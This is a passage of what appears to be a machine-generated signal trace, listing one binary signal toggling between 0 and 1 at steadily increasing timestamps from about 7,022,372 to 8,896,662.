0! +#7022372 1! +#7022602 0! +#7024372 1! +#7024602 0! +#7026373 1! +#7026602 0! +#7028373 1! +#7028603 0! +#7030373 1! +#7030603 0! +#7032374 1! +#7032603 0! +#7034374 1! +#7034604 0! +#7036374 1! +#7036604 0! +#7038375 1! +#7038604 0! +#7040375 1! +#7040604 0! +#7042375 1! +#7042605 0! +#7044376 1! +#7044605 0! +#7046376 1! +#7046605 0! +#7048376 1! +#7048606 0! +#7050376 1! +#7050606 0! +#7052377 1! +#7052606 0! +#7054377 1! +#7054607 0! +#7056377 1! +#7056607 0! +#7058378 1! +#7058607 0! +#7060378 1! +#7060608 0! +#7062378 1! +#7062608 0! +#7064379 1! +#7064608 0! +#7066379 1! +#7066608 0! +#7068379 1! +#7068609 0! +#7070380 1! +#7070609 0! +#7072380 1! +#7072609 0! +#7074380 1! +#7074610 0! +#7076380 1! +#7076610 0! +#7078381 1! +#7078610 0! +#7080381 1! +#7080611 0! +#7082381 1! +#7082611 0! +#7084382 1! +#7084611 0! +#7086382 1! +#7086612 0! +#7088382 1! +#7088612 0! +#7090383 1! +#7090612 0! +#7092383 1! +#7092612 0! +#7094383 1! +#7094613 0! +#7096384 1! +#7096613 0! +#7098384 1! +#7098613 0! +#7100384 1! +#7100614 0! +#7102384 1! +#7102614 0! +#7104385 1! +#7104614 0! +#7106385 1! +#7106615 0! +#7108385 1! +#7108615 0! +#7110386 1! +#7110615 0! +#7112386 1! +#7112616 0! +#7114386 1! +#7114616 0! +#7116387 1! +#7116616 0! +#7118387 1! +#7118617 0! +#7120387 1! +#7120617 0! +#7122388 1! +#7122617 0! +#7124388 1! +#7124617 0! +#7126388 1! +#7126618 0! +#7128388 1! +#7128618 0! +#7130389 1! +#7130618 0! +#7132389 1! +#7132619 0! +#7134389 1! +#7134619 0! +#7136390 1! +#7136619 0! +#7138390 1! +#7138620 0! +#7140390 1! +#7140620 0! +#7142391 1! +#7142620 0! +#7144391 1! +#7144621 0! +#7146391 1! +#7146621 0! +#7148392 1! +#7148621 0! +#7150392 1! +#7150621 0! +#7152392 1! +#7152622 0! +#7154393 1! +#7154622 0! +#7156393 1! +#7156622 0! +#7158393 1! +#7158623 0! +#7160393 1! +#7160623 0! +#7162394 1! +#7162623 0! +#7164394 1! +#7164624 0! +#7166394 1! +#7166624 0! +#7168395 1! +#7168624 0! +#7170395 1! +#7170624 0! +#7172395 1! +#7172625 0! +#7174396 1! +#7174625 0! +#7176396 1! +#7176625 0! +#7178396 1! +#7178626 0! +#7180396 1! +#7180626 0! +#7182397 1! +#7182626 0! +#7184397 1! +#7184627 0! +#7186397 1! +#7186627 0! +#7188398 1! +#7188627 0! +#7190398 1! +#7190628 0! +#7192398 1! +#7192628 0! +#7194399 1! +#7194628 0! +#7196399 1! +#7196629 0! +#7198399 1! +#7198629 0! +#7200400 1! +#7200629 0! +#7202400 1! +#7202629 0! +#7204400 1! +#7204630 0! +#7206400 1! +#7206630 0! +#7208401 1! +#7208630 0! +#7210401 1! +#7210631 0! +#7212401 1! +#7212631 0! +#7214402 1! +#7214631 0! +#7216402 1! +#7216632 0! +#7218402 1! +#7218632 0! +#7220403 1! +#7220632 0! +#7222403 1! +#7222632 0! +#7224403 1! +#7224633 0! +#7226404 1! +#7226633 0! +#7228404 1! +#7228634 0! +#7230404 1! +#7230634 0! +#7232405 1! +#7232634 0! +#7234405 1! +#7234634 0! +#7236405 1! +#7236635 0! +#7238405 1! +#7238635 0! +#7240406 1! +#7240635 0! +#7242406 1! +#7242636 0! +#7244406 1! +#7244636 0! +#7246407 1! +#7246636 0! +#7248407 1! +#7248637 0! +#7250407 1! +#7250637 0! +#7252408 1! +#7252637 0! +#7254408 1! +#7254638 0! +#7256408 1! +#7256638 0! +#7258409 1! +#7258638 0! +#7260409 1! +#7260638 0! +#7262409 1! +#7262639 0! +#7264410 1! +#7264639 0! +#7266410 1! +#7266639 0! +#7268410 1! +#7268640 0! +#7270410 1! +#7270640 0! +#7272411 1! +#7272640 0! +#7274411 1! +#7274641 0! +#7276411 1! +#7276641 0! +#7278412 1! +#7278641 0! +#7280412 1! +#7280642 0! +#7282412 1! +#7282642 0! +#7284413 1! +#7284642 0! +#7286413 1! +#7286642 0! +#7288413 1! +#7288643 0! +#7290413 1! +#7290643 0! +#7292414 1! +#7292643 0! +#7294414 1! +#7294644 0! +#7296414 1! +#7296644 0! +#7298415 1! +#7298644 0! +#7300415 1! +#7300645 0! +#7302415 1! +#7302645 0! +#7304416 1! +#7304645 0! +#7306416 1! +#7306645 0! +#7308416 1! +#7308646 0! +#7310417 1! +#7310646 0! +#7312417 1! +#7312646 0! +#7314417 1! +#7314647 0! +#7316418 1! +#7316647 0! +#7318418 1! +#7318647 0! +#7320418 1! +#7320648 0! +#7322418 1! +#7322648 0! +#7324419 1! +#7324648 0! +#7326419 1! +#7326649 0! +#7328419 1! +#7328649 0! +#7330420 1! +#7330649 0! +#7332420 1! +#7332650 0! +#7334420 1! +#7334650 0! +#7336421 1! +#7336650 0! +#7338421 1! +#7338651 0! +#7340421 1! +#7340651 0! +#7342422 1! +#7342651 0! +#7344422 1! +#7344651 0! +#7346422 1! +#7346652 0! +#7348422 1! +#7348652 0! +#7350423 1! +#7350652 0! +#7352423 1! +#7352653 0! +#7354423 1! +#7354653 0! +#7356424 1! +#7356653 0! +#7358424 1! +#7358654 0! +#7360424 1! +#7360654 0! +#7362425 1! +#7362654 0! +#7364425 1! +#7364655 0! +#7366425 1! +#7366655 0! +#7368426 1! +#7368655 0! +#7370426 1! +#7370655 0! +#7372426 1! +#7372656 0! +#7374426 1! +#7374656 0! +#7376427 1! +#7376656 0! +#7378427 1! +#7378657 0! +#7380427 1! +#7380657 0! +#7382428 1! +#7382657 0! +#7384428 1! +#7384658 0! +#7386428 1! +#7386658 0! +#7388429 1! +#7388658 0! +#7390429 1! +#7390658 0! +#7392429 1! +#7392659 0! +#7394430 1! +#7394659 0! +#7396430 1! +#7396659 0! +#7398430 1! +#7398660 0! +#7400430 1! +#7400660 0! +#7402431 1! +#7402660 0! +#7404431 1! +#7404661 0! +#7406431 1! +#7406661 0! +#7408432 1! +#7408661 0! +#7410432 1! +#7410662 0! +#7412432 1! +#7412662 0! +#7414433 1! +#7414662 0! +#7416433 1! +#7416663 0! +#7418434 1! +#7418663 0! +#7420434 1! +#7420664 0! +#7422434 1! +#7422664 0! +#7424435 1! +#7424664 0! +#7426435 1! +#7426665 0! +#7428435 1! +#7428665 0! +#7430436 1! +#7430665 0! +#7432436 1! +#7432665 0! +#7434436 1! +#7434666 0! +#7436436 1! +#7436666 0! +#7438437 1! +#7438666 0! +#7440437 1! +#7440667 0! +#7442437 1! +#7442667 0! +#7444438 1! +#7444667 0! +#7446438 1! +#7446668 0! +#7448438 1! +#7448668 0! +#7450439 1! +#7450668 0! +#7452439 1! +#7452668 0! +#7454439 1! +#7454669 0! +#7456440 1! +#7456669 0! +#7458440 1! +#7458669 0! +#7460440 1! +#7460670 0! +#7462441 1! +#7462670 0! +#7464441 1! +#7464670 0! +#7466441 1! +#7466671 0! +#7468441 1! +#7468671 0! +#7470442 1! +#7470671 0! +#7472442 1! +#7472672 0! +#7474442 1! +#7474672 0! +#7476443 1! +#7476672 0! +#7478443 1! +#7478673 0! +#7480443 1! +#7480673 0! +#7482444 1! +#7482673 0! +#7484444 1! +#7484674 0! +#7486444 1! +#7486674 0! +#7488445 1! +#7488674 0! +#7490445 1! +#7490674 0! +#7492445 1! +#7492675 0! +#7494446 1! +#7494675 0! +#7496446 1! +#7496675 0! +#7498446 1! +#7498676 0! +#7500447 1! +#7500676 0! +#7502447 1! +#7502676 0! +#7504447 1! +#7504677 0! +#7506447 1! +#7506677 0! +#7508448 1! +#7508677 0! +#7510448 1! +#7510678 0! +#7512448 1! +#7512678 0! +#7514449 1! +#7514678 0! +#7516449 1! +#7516679 0! +#7518449 1! +#7518679 0! +#7520450 1! +#7520679 0! +#7522450 1! +#7522679 0! +#7524450 1! +#7524680 0! +#7526451 1! +#7526680 0! +#7528451 1! +#7528680 0! +#7530451 1! +#7530681 0! +#7532451 1! +#7532681 0! +#7534452 1! +#7534681 0! +#7536452 1! +#7536682 0! +#7538452 1! +#7538682 0! +#7540453 1! +#7540682 0! +#7542453 1! +#7542683 0! +#7544453 1! +#7544683 0! +#7546454 1! +#7546683 0! +#7548454 1! +#7548684 0! +#7550454 1! +#7550684 0! +#7552455 1! +#7552684 0! +#7554455 1! +#7554684 0! +#7556455 1! +#7556685 0! +#7558456 1! +#7558685 0! +#7560456 1! +#7560685 0! +#7562456 1! +#7562686 0! +#7564456 1! +#7564686 0! +#7566457 1! +#7566686 0! +#7568457 1! +#7568687 0! +#7570457 1! +#7570687 0! +#7572458 1! +#7572687 0! +#7574458 1! +#7574688 0! +#7576458 1! +#7576688 0! +#7578459 1! +#7578688 0! +#7580459 1! +#7580688 0! +#7582459 1! +#7582689 0! +#7584460 1! +#7584689 0! +#7586460 1! +#7586689 0! +#7588460 1! +#7588690 0! +#7590460 1! +#7590690 0! +#7592461 1! +#7592690 0! +#7594461 1! +#7594691 0! +#7596461 1! +#7596691 0! +#7598462 1! +#7598691 0! +#7600462 1! +#7600692 0! +#7602462 1! +#7602692 0! +#7604463 1! +#7604692 0! +#7606463 1! +#7606693 0! +#7608463 1! +#7608693 0! +#7610464 1! +#7610693 0! +#7612464 1! +#7612693 0! +#7614464 1! +#7614694 0! +#7616464 1! +#7616694 0! +#7618465 1! +#7618694 0! +#7620465 1! +#7620695 0! +#7622465 1! +#7622695 0! +#7624466 1! +#7624695 0! +#7626466 1! +#7626696 0! +#7628466 1! +#7628696 0! +#7630467 1! +#7630696 0! +#7632467 1! +#7632697 0! +#7634467 1! +#7634697 0! +#7636468 1! +#7636697 0! +#7638468 1! +#7638698 0! +#7640468 1! +#7640698 0! +#7642469 1! +#7642698 0! +#7644469 1! +#7644698 0! +#7646469 1! +#7646699 0! +#7648469 1! +#7648699 0! +#7650470 1! +#7650699 0! +#7652470 1! +#7652700 0! +#7654470 1! +#7654700 0! +#7656471 1! +#7656700 0! +#7658471 1! +#7658701 0! +#7660471 1! +#7660701 0! +#7662472 1! +#7662701 0! +#7664472 1! +#7664701 0! +#7666472 1! +#7666702 0! +#7668473 1! +#7668702 0! +#7670473 1! +#7670702 0! +#7672473 1! +#7672703 0! +#7674473 1! +#7674703 0! +#7676474 1! +#7676703 0! +#7678474 1! +#7678704 0! +#7680474 1! +#7680704 0! +#7682475 1! +#7682704 0! +#7684475 1! +#7684705 0! +#7686475 1! +#7686705 0! +#7688476 1! +#7688705 0! +#7690476 1! +#7690706 0! +#7692476 1! +#7692706 0! +#7694477 1! +#7694706 0! +#7696477 1! +#7696707 0! +#7698477 1! +#7698707 0! +#7700478 1! +#7700707 0! +#7702478 1! +#7702707 0! +#7704478 1! +#7704708 0! +#7706478 1! +#7706708 0! +#7708479 1! +#7708708 0! +#7710479 1! +#7710709 0! +#7712479 1! +#7712709 0! +#7714480 1! +#7714709 0! +#7716480 1! +#7716710 0! +#7718480 1! +#7718710 0! +#7720481 1! +#7720710 0! +#7722481 1! +#7722711 0! +#7724481 1! +#7724711 0! +#7726482 1! +#7726711 0! +#7728482 1! +#7728711 0! +#7730482 1! +#7730712 0! +#7732483 1! +#7732712 0! +#7734483 1! +#7734712 0! +#7736483 1! +#7736713 0! +#7738483 1! +#7738713 0! +#7740484 1! +#7740713 0! +#7742484 1! +#7742714 0! +#7744484 1! +#7744714 0! +#7746485 1! +#7746714 0! +#7748485 1! +#7748715 0! +#7750485 1! +#7750715 0! +#7752486 1! +#7752715 0! +#7754486 1! +#7754715 0! +#7756486 1! +#7756716 0! +#7758486 1! +#7758716 0! +#7760487 1! +#7760716 0! +#7762487 1! +#7762717 0! +#7764487 1! +#7764717 0! +#7766488 1! +#7766717 0! +#7768488 1! +#7768718 0! +#7770488 1! +#7770718 0! +#7772489 1! +#7772718 0! +#7774489 1! +#7774718 0! +#7776489 1! +#7776719 0! +#7778490 1! +#7778719 0! +#7780490 1! +#7780719 0! +#7782490 1! +#7782720 0! +#7784490 1! +#7784720 0! +#7786491 1! +#7786720 0! +#7788491 1! +#7788721 0! +#7790491 1! +#7790721 0! +#7792492 1! +#7792721 0! +#7794492 1! +#7794722 0! +#7796492 1! +#7796722 0! +#7798493 1! +#7798722 0! +#7800493 1! +#7800722 0! +#7802493 1! +#7802723 0! +#7804493 1! +#7804723 0! +#7806494 1! +#7806723 0! +#7808494 1! +#7808724 0! +#7810494 1! +#7810724 0! +#7812495 1! +#7812724 0! +#7814495 1! +#7814725 0! +#7816495 1! +#7816725 0! +#7818496 1! +#7818725 0! +#7820496 1! +#7820726 0! +#7822496 1! +#7822726 0! +#7824497 1! +#7824726 0! +#7826497 1! +#7826726 0! +#7828497 1! +#7828727 0! +#7830497 1! +#7830727 0! +#7832498 1! +#7832727 0! +#7834498 1! +#7834728 0! +#7836498 1! +#7836728 0! +#7838499 1! +#7838728 0! +#7840499 1! +#7840729 0! +#7842499 1! +#7842729 0! +#7844500 1! +#7844729 0! +#7846500 1! +#7846730 0! +#7848500 1! +#7848730 0! +#7850501 1! +#7850730 0! +#7852501 1! +#7852730 0! +#7854501 1! +#7854731 0! +#7856502 1! +#7856731 0! +#7858502 1! +#7858731 0! +#7860502 1! +#7860732 0! +#7862502 1! +#7862732 0! +#7864503 1! +#7864732 0! +#7866503 1! +#7866733 0! +#7868503 1! +#7868733 0! +#7870504 1! +#7870733 0! +#7872504 1! +#7872733 0! +#7874504 1! +#7874734 0! +#7876505 1! +#7876734 0! +#7878505 1! +#7878734 0! +#7880505 1! +#7880735 0! +#7882505 1! +#7882735 0! +#7884506 1! +#7884735 0! +#7886506 1! +#7886736 0! +#7888506 1! +#7888736 0! +#7890507 1! +#7890736 0! +#7892507 1! +#7892737 0! +#7894507 1! +#7894737 0! +#7896508 1! +#7896737 0! +#7898508 1! +#7898737 0! +#7900508 1! +#7900738 0! +#7902509 1! +#7902738 0! +#7904509 1! +#7904738 0! +#7906509 1! +#7906739 0! +#7908509 1! +#7908739 0! +#7910510 1! +#7910739 0! +#7912510 1! +#7912740 0! +#7914510 1! +#7914740 0! +#7916511 1! +#7916740 0! +#7918511 1! +#7918741 0! +#7920511 1! +#7920741 0! +#7922512 1! +#7922741 0! +#7924512 1! +#7924742 0! +#7926512 1! +#7926742 0! +#7928513 1! +#7928742 0! +#7930513 1! +#7930742 0! +#7932513 1! +#7932743 0! +#7934513 1! +#7934743 0! +#7936514 1! +#7936743 0! +#7938514 1! +#7938744 0! +#7940514 1! +#7940744 0! +#7942515 1! +#7942744 0! +#7944515 1! +#7944745 0! +#7946515 1! +#7946745 0! +#7948516 1! +#7948745 0! +#7950516 1! +#7950746 0! +#7952516 1! +#7952746 0! +#7954517 1! +#7954746 0! +#7956517 1! +#7956747 0! +#7958517 1! +#7958747 0! +#7960517 1! +#7960747 0! +#7962518 1! +#7962747 0! +#7964518 1! +#7964748 0! +#7966518 1! +#7966748 0! +#7968519 1! +#7968748 0! +#7970519 1! +#7970749 0! +#7972519 1! +#7972749 0! +#7974520 1! +#7974749 0! +#7976520 1! +#7976749 0! +#7978520 1! +#7978750 0! +#7980520 1! +#7980750 0! +#7982521 1! +#7982750 0! +#7984521 1! +#7984751 0! +#7986521 1! +#7986751 0! +#7988522 1! +#7988751 0! +#7990522 1! +#7990752 0! +#7992522 1! +#7992752 0! +#7994523 1! +#7994752 0! +#7996523 1! +#7996753 0! +#7998523 1! +#7998753 0! +#8000524 1! +#8000753 0! +#8002524 1! +#8002753 0! +#8004524 1! +#8004754 0! +#8006524 1! +#8006754 0! +#8008525 1! +#8008754 0! +#8010525 1! +#8010755 0! +#8012525 1! +#8012755 0! +#8014526 1! +#8014755 0! +#8016526 1! +#8016756 0! +#8018526 1! +#8018756 0! +#8020527 1! +#8020756 0! +#8022527 1! +#8022756 0! +#8024527 1! +#8024757 0! +#8026528 1! +#8026757 0! +#8028528 1! +#8028757 0! +#8030528 1! +#8030758 0! +#8032529 1! +#8032758 0! +#8034529 1! +#8034758 0! +#8036529 1! +#8036759 0! +#8038529 1! +#8038759 0! +#8040530 1! +#8040759 0! +#8042530 1! +#8042760 0! +#8044530 1! +#8044760 0! +#8046531 1! +#8046760 0! +#8048531 1! +#8048760 0! +#8050531 1! +#8050761 0! +#8052532 1! +#8052761 0! +#8054532 1! +#8054761 0! +#8056532 1! +#8056762 0! +#8058532 1! +#8058762 0! +#8060533 1! +#8060762 0! +#8062533 1! +#8062763 0! +#8064533 1! +#8064763 0! +#8066534 1! +#8066763 0! +#8068534 1! +#8068764 0! +#8070534 1! +#8070764 0! +#8072535 1! +#8072764 0! +#8074535 1! +#8074764 0! +#8076535 1! +#8076765 0! +#8078536 1! +#8078765 0! +#8080536 1! +#8080765 0! +#8082536 1! +#8082766 0! +#8084536 1! +#8084766 0! +#8086537 1! +#8086766 0! +#8088537 1! +#8088767 0! +#8090537 1! +#8090767 0! +#8092538 1! +#8092767 0! +#8094538 1! +#8094768 0! +#8096538 1! +#8096768 0! +#8098539 1! +#8098768 0! +#8100539 1! +#8100768 0! +#8102539 1! +#8102769 0! +#8104540 1! +#8104769 0! +#8106540 1! +#8106769 0! +#8108540 1! +#8108770 0! +#8110540 1! +#8110770 0! +#8112541 1! +#8112770 0! +#8114541 1! +#8114771 0! +#8116541 1! +#8116771 0! +#8118542 1! +#8118771 0! +#8120542 1! +#8120772 0! +#8122542 1! +#8122772 0! +#8124543 1! +#8124772 0! +#8126543 1! +#8126773 0! +#8128543 1! +#8128773 0! +#8130544 1! +#8130773 0! +#8132544 1! +#8132773 0! +#8134544 1! +#8134774 0! +#8136544 1! +#8136774 0! +#8138545 1! +#8138774 0! +#8140545 1! +#8140775 0! +#8142545 1! +#8142775 0! +#8144546 1! +#8144775 0! +#8146546 1! +#8146776 0! +#8148546 1! +#8148776 0! +#8150547 1! +#8150776 0! +#8152547 1! +#8152777 0! +#8154547 1! +#8154777 0! +#8156548 1! +#8156777 0! +#8158548 1! +#8158777 0! +#8160548 1! +#8160778 0! +#8162548 1! +#8162778 0! +#8164549 1! +#8164778 0! +#8166549 1! +#8166779 0! +#8168549 1! +#8168779 0! +#8170550 1! +#8170779 0! +#8172550 1! +#8172780 0! +#8174550 1! +#8174780 0! +#8176551 1! +#8176780 0! +#8178551 1! +#8178780 0! +#8180551 1! +#8180781 0! +#8182552 1! +#8182781 0! +#8184552 1! +#8184781 0! +#8186552 1! +#8186782 0! +#8188552 1! +#8188782 0! +#8190553 1! +#8190782 0! +#8192553 1! +#8192783 0! +#8194553 1! +#8194783 0! +#8196554 1! +#8196783 0! +#8198554 1! +#8198783 0! +#8200554 1! +#8200784 0! +#8202555 1! +#8202784 0! +#8204555 1! +#8204784 0! +#8206555 1! +#8206785 0! +#8208556 1! +#8208785 0! +#8210556 1! +#8210785 0! +#8212556 1! +#8212786 0! +#8214556 1! +#8214786 0! +#8216557 1! +#8216786 0! +#8218557 1! +#8218787 0! +#8220557 1! +#8220787 0! +#8222558 1! +#8222787 0! +#8224558 1! +#8224788 0! +#8226558 1! +#8226788 0! +#8228559 1! +#8228788 0! +#8230559 1! +#8230788 0! +#8232559 1! +#8232789 0! +#8234560 1! +#8234789 0! +#8236560 1! +#8236789 0! +#8238560 1! +#8238790 0! +#8240560 1! +#8240790 0! +#8242561 1! +#8242790 0! +#8244561 1! +#8244791 0! +#8246561 1! +#8246791 0! +#8248562 1! +#8248791 0! +#8250562 1! +#8250792 0! +#8252562 1! +#8252792 0! +#8254563 1! +#8254792 0! +#8256563 1! +#8256792 0! +#8258563 1! +#8258793 0! +#8260563 1! +#8260793 0! +#8262564 1! +#8262793 0! +#8264564 1! +#8264794 0! +#8266564 1! +#8266794 0! +#8268565 1! +#8268794 0! +#8270565 1! +#8270795 0! +#8272565 1! +#8272795 0! +#8274566 1! +#8274795 0! +#8276566 1! +#8276795 0! +#8278566 1! +#8278796 0! +#8280567 1! +#8280796 0! +#8282567 1! +#8282796 0! +#8284567 1! +#8284797 0! +#8286568 1! +#8286797 0! +#8288568 1! +#8288797 0! +#8290568 1! +#8290798 0! +#8292569 1! +#8292798 0! +#8294569 1! +#8294798 0! +#8296569 1! +#8296799 0! +#8298569 1! +#8298799 0! +#8300570 1! +#8300799 0! +#8302570 1! +#8302800 0! +#8304570 1! +#8304800 0! +#8306571 1! +#8306800 0! +#8308571 1! +#8308800 0! +#8310571 1! +#8310801 0! +#8312572 1! +#8312801 0! +#8314572 1! +#8314801 0! +#8316572 1! +#8316802 0! +#8318573 1! +#8318802 0! +#8320573 1! +#8320802 0! +#8322573 1! +#8322803 0! +#8324573 1! +#8324803 0! +#8326574 1! +#8326803 0! +#8328574 1! +#8328804 0! +#8330574 1! +#8330804 0! +#8332575 1! +#8332804 0! +#8334575 1! +#8334804 0! +#8336575 1! +#8336805 0! +#8338576 1! +#8338805 0! +#8340576 1! +#8340805 0! +#8342576 1! +#8342806 0! +#8344577 1! +#8344806 0! +#8346577 1! +#8346806 0! +#8348577 1! +#8348807 0! +#8350577 1! +#8350807 0! +#8352578 1! +#8352807 0! +#8354578 1! +#8354808 0! +#8356578 1! +#8356808 0! +#8358579 1! +#8358808 0! +#8360579 1! +#8360809 0! +#8362579 1! +#8362809 0! +#8364580 1! +#8364809 0! +#8366580 1! +#8366809 0! +#8368580 1! +#8368810 0! +#8370581 1! +#8370810 0! +#8372581 1! +#8372810 0! +#8374581 1! +#8374811 0! +#8376581 1! +#8376811 0! +#8378582 1! +#8378811 0! +#8380582 1! +#8380812 0! +#8382582 1! +#8382812 0! +#8384583 1! +#8384812 0! +#8386583 1! +#8386813 0! +#8388583 1! +#8388813 0! +#8390584 1! +#8390813 0! +#8392584 1! +#8392813 0! +#8394584 1! +#8394814 0! +#8396585 1! +#8396814 0! +#8398585 1! +#8398814 0! +#8400585 1! +#8400815 0! +#8402585 1! +#8402815 0! +#8404586 1! +#8404815 0! +#8406586 1! +#8406816 0! +#8408586 1! +#8408816 0! +#8410587 1! +#8410816 0! +#8412587 1! +#8412817 0! +#8414587 1! +#8414817 0! +#8416588 1! +#8416817 0! +#8418588 1! +#8418818 0! +#8420588 1! +#8420818 0! +#8422589 1! +#8422818 0! +#8424589 1! +#8424818 0! +#8426589 1! +#8426819 0! +#8428589 1! +#8428819 0! +#8430590 1! +#8430819 0! +#8432590 1! +#8432820 0! +#8434590 1! +#8434820 0! +#8436591 1! +#8436820 0! +#8438591 1! +#8438821 0! +#8440591 1! +#8440821 0! +#8442592 1! +#8442821 0! +#8444592 1! +#8444822 0! +#8446592 1! +#8446822 0! +#8448593 1! +#8448822 0! +#8450593 1! +#8450822 0! +#8452593 1! +#8452823 0! +#8454594 1! +#8454823 0! +#8456594 1! +#8456823 0! +#8458594 1! +#8458824 0! +#8460594 1! +#8460824 0! +#8462595 1! +#8462824 0! +#8464595 1! +#8464825 0! +#8466595 1! +#8466825 0! +#8468596 1! +#8468825 0! +#8470596 1! +#8470826 0! +#8472596 1! +#8472826 0! +#8474597 1! +#8474826 0! +#8476597 1! +#8476826 0! +#8478597 1! +#8478827 0! +#8480597 1! +#8480827 0! +#8482598 1! +#8482827 0! +#8484598 1! +#8484828 0! +#8486598 1! +#8486828 0! +#8488599 1! +#8488828 0! +#8490599 1! +#8490829 0! +#8492599 1! +#8492829 0! +#8494600 1! +#8494829 0! +#8496600 1! +#8496830 0! +#8498600 1! +#8498830 0! +#8500601 1! +#8500830 0! +#8502601 1! +#8502830 0! +#8504601 1! +#8504831 0! +#8506601 1! +#8506831 0! +#8508602 1! +#8508831 0! +#8510602 1! +#8510832 0! +#8512602 1! +#8512832 0! +#8514603 1! +#8514832 0! +#8516603 1! +#8516833 0! +#8518603 1! +#8518833 0! +#8520604 1! +#8520833 0! +#8522604 1! +#8522834 0! +#8524604 1! +#8524834 0! +#8526605 1! +#8526834 0! +#8528605 1! +#8528834 0! +#8530605 1! +#8530835 0! +#8532606 1! +#8532835 0! +#8534606 1! +#8534835 0! +#8536606 1! +#8536836 0! +#8538606 1! +#8538836 0! +#8540607 1! +#8540836 0! +#8542607 1! +#8542837 0! +#8544607 1! +#8544837 0! +#8546608 1! +#8546837 0! +#8548608 1! +#8548837 0! +#8550608 1! +#8550838 0! +#8552609 1! +#8552838 0! +#8554609 1! +#8554838 0! +#8556609 1! +#8556839 0! +#8558609 1! +#8558839 0! +#8560610 1! +#8560839 0! +#8562610 1! +#8562840 0! +#8564610 1! +#8564840 0! +#8566611 1! +#8566840 0! +#8568611 1! +#8568841 0! +#8570611 1! +#8570841 0! +#8572612 1! +#8572841 0! +#8574612 1! +#8574841 0! +#8576612 1! +#8576842 0! +#8578613 1! +#8578842 0! +#8580613 1! +#8580842 0! +#8582613 1! +#8582843 0! +#8584613 1! +#8584843 0! +#8586614 1! +#8586843 0! +#8588614 1! +#8588844 0! +#8590614 1! +#8590844 0! +#8592615 1! +#8592844 0! +#8594615 1! +#8594845 0! +#8596615 1! +#8596845 0! +#8598616 1! +#8598845 0! +#8600616 1! +#8600846 0! +#8602616 1! +#8602846 0! +#8604617 1! +#8604846 0! +#8606617 1! +#8606846 0! +#8608617 1! +#8608847 0! +#8610617 1! +#8610847 0! +#8612618 1! +#8612847 0! +#8614618 1! +#8614848 0! +#8616618 1! +#8616848 0! +#8618619 1! +#8618848 0! +#8620619 1! +#8620849 0! +#8622619 1! +#8622849 0! +#8624620 1! +#8624849 0! +#8626620 1! +#8626850 0! +#8628620 1! +#8628850 0! +#8630621 1! +#8630850 0! +#8632621 1! +#8632850 0! +#8634621 1! +#8634851 0! +#8636621 1! +#8636851 0! +#8638622 1! +#8638851 0! +#8640622 1! +#8640852 0! +#8642622 1! +#8642852 0! +#8644623 1! +#8644852 0! +#8646623 1! +#8646853 0! +#8648623 1! +#8648853 0! +#8650624 1! +#8650853 0! +#8652624 1! +#8652854 0! +#8654624 1! +#8654854 0! +#8656625 1! +#8656854 0! +#8658625 1! +#8658854 0! +#8660625 1! +#8660855 0! +#8662626 1! +#8662855 0! +#8664626 1! +#8664855 0! +#8666626 1! +#8666856 0! +#8668626 1! +#8668856 0! +#8670627 1! +#8670856 0! +#8672627 1! +#8672857 0! +#8674627 1! +#8674857 0! +#8676628 1! +#8676857 0! +#8678628 1! +#8678858 0! +#8680628 1! +#8680858 0! +#8682629 1! +#8682858 0! +#8684629 1! +#8684858 0! +#8686629 1! +#8686859 0! +#8688629 1! +#8688859 0! +#8690630 1! +#8690859 0! +#8692630 1! +#8692860 0! +#8694630 1! +#8694860 0! +#8696631 1! +#8696860 0! +#8698631 1! +#8698861 0! +#8700632 1! +#8700862 0! +#8702632 1! +#8702862 0! +#8704632 1! +#8704862 0! +#8706633 1! +#8706862 0! +#8708633 1! +#8708863 0! +#8710633 1! +#8710863 0! +#8712634 1! +#8712863 0! +#8714634 1! +#8714864 0! +#8716634 1! +#8716864 0! +#8718635 1! +#8718864 0! +#8720635 1! +#8720864 0! +#8722635 1! +#8722865 0! +#8724636 1! +#8724865 0! +#8726636 1! +#8726865 0! +#8728636 1! +#8728866 0! +#8730637 1! +#8730866 0! +#8732637 1! +#8732866 0! +#8734637 1! +#8734867 0! +#8736637 1! +#8736867 0! +#8738638 1! +#8738867 0! +#8740638 1! +#8740868 0! +#8742638 1! +#8742868 0! +#8744639 1! +#8744868 0! +#8746639 1! +#8746869 0! +#8748639 1! +#8748869 0! +#8750640 1! +#8750869 0! +#8752640 1! +#8752869 0! +#8754640 1! +#8754870 0! +#8756640 1! +#8756870 0! +#8758641 1! +#8758870 0! +#8760641 1! +#8760871 0! +#8762641 1! +#8762871 0! +#8764642 1! +#8764871 0! +#8766642 1! +#8766872 0! +#8768642 1! +#8768872 0! +#8770643 1! +#8770872 0! +#8772643 1! +#8772872 0! +#8774643 1! +#8774873 0! +#8776644 1! +#8776873 0! +#8778644 1! +#8778873 0! +#8780644 1! +#8780874 0! +#8782645 1! +#8782874 0! +#8784645 1! +#8784874 0! +#8786645 1! +#8786875 0! +#8788645 1! +#8788875 0! +#8790646 1! +#8790875 0! +#8792646 1! +#8792876 0! +#8794646 1! +#8794876 0! +#8796647 1! +#8796876 0! +#8798647 1! +#8798877 0! +#8800647 1! +#8800877 0! +#8802648 1! +#8802877 0! +#8804648 1! +#8804878 0! +#8806648 1! +#8806878 0! +#8808648 1! +#8808878 0! +#8810649 1! +#8810878 0! +#8812649 1! +#8812879 0! +#8814649 1! +#8814879 0! +#8816650 1! +#8816879 0! +#8818650 1! +#8818880 0! +#8820650 1! +#8820880 0! +#8822651 1! +#8822880 0! +#8824651 1! +#8824881 0! +#8826651 1! +#8826881 0! +#8828652 1! +#8828881 0! +#8830652 1! +#8830882 0! +#8832652 1! +#8832882 0! +#8834653 1! +#8834882 0! +#8836653 1! +#8836882 0! +#8838653 1! +#8838883 0! +#8840653 1! +#8840883 0! +#8842654 1! +#8842883 0! +#8844654 1! +#8844884 0! +#8846654 1! +#8846884 0! +#8848655 1! +#8848884 0! +#8850655 1! +#8850885 0! +#8852655 1! +#8852885 0! +#8854656 1! +#8854885 0! +#8856656 1! +#8856885 0! +#8858656 1! +#8858886 0! +#8860657 1! +#8860886 0! +#8862657 1! +#8862886 0! +#8864657 1! +#8864887 0! +#8866657 1! +#8866887 0! +#8868658 1! +#8868887 0! +#8870658 1! +#8870888 0! +#8872658 1! +#8872888 0! +#8874659 1! +#8874888 0! +#8876659 1! +#8876889 0! +#8878659 1! +#8878889 0! +#8880660 1! +#8880889 0! +#8882660 1! +#8882889 0! +#8884660 1! +#8884890 0! +#8886661 1! +#8886890 0! +#8888661 1! +#8888890 0! +#8890661 1! +#8890891 0! +#8892661 1! +#8892891 0! +#8894662 1! +#8894891 0! +#8896662 